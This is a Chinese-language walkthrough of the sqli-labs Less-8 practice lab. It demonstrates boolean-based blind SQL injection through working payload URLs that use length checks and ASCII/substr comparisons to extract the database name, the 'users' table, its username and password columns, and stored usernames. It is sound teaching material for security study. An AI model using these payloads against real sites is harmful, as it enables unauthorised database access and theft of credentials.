sqli-labs Less-8 Blind-- Boolian Based基于布尔的盲注
Less-8 Blind-- Boolian Based基于布尔的盲注
1、回显分析
当输入的语句正确时,显示 You are in…
当输入的语句异常时,不显示任何信息
2、SQL盲注
根据页面的显示情况会有不同,可以构造判断语句,当语句成立时,显示You are in…
当语句不成立时,不显示任何信息。
先判断数据库名的长度:
http://192.168.195.110/sqli-labs/Less-8/?id=1’and (length(database())>10) – +
页面无信息显示,说明数据库名的长度小于10
http://192.168.195.110/sqli-labs/Less-8/?id=1’and (length(database())>5) – +
有信息显示,说明数据名的长度大于5
http://192.168.195.110/sqli-labs/Less-8/?id=1’and (length(database())=8) – +
有信息显示,说明数据名的长度等于8
通过ASCII码的值,来分别判断出每个字符
(文末附上ASCII对照表)
substr 将符串进行截区,从第几个开始,截取几个字符
语法:substr(string,start,length)
示例:
mysql> select substr(database(),1,1);
ascii 是将字符转换成 ascii 码值
构造语句如下:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr(database(),1,1))>100) – +显示正常,说明第一个字符的ascii值大于100,继续以> , < , =来测试直到判断出具体值
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr(database(),1,1))=115) – +
等于115时,显示正常,说明第一个字符的ASCII码值是115,查询后为小s
按此方法依次猜测出8个字符,即数据库名 “security”
猜测数据表
(为了节约测试时间,主要说明原理,我们从数据库的第4张表users表来举例)
判断数据表名的长度:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and ((select length(table_name) from information_schema.tables where table_schema=“security” limit 3,1)=5) – +
数据表的长度为5
判断数据表的第一个字母
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))>100) – +
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))>120) – +
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))=117) – +
第一个字母的ASCII值为 117,查询得知为小写u
依次猜测出整个表名 users
猜测数据表中的数据段名
语句:
第二个字段的长度
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and ((select length(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1)=8) – +
猜第二个字段的每个字符:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1),1,1))=117) – +
分别猜出第二个字段为username,第三个字段password
猜数据表中的数据
第一个username的长度
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and ((select length(username) from users limit 0,1)=4) – +
第一个username的第一个字母的ASCII值
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and (ascii(substr((select username from users limit 0,1),1,1))=68) – +
按此方法,可以依次猜测出所需要数据。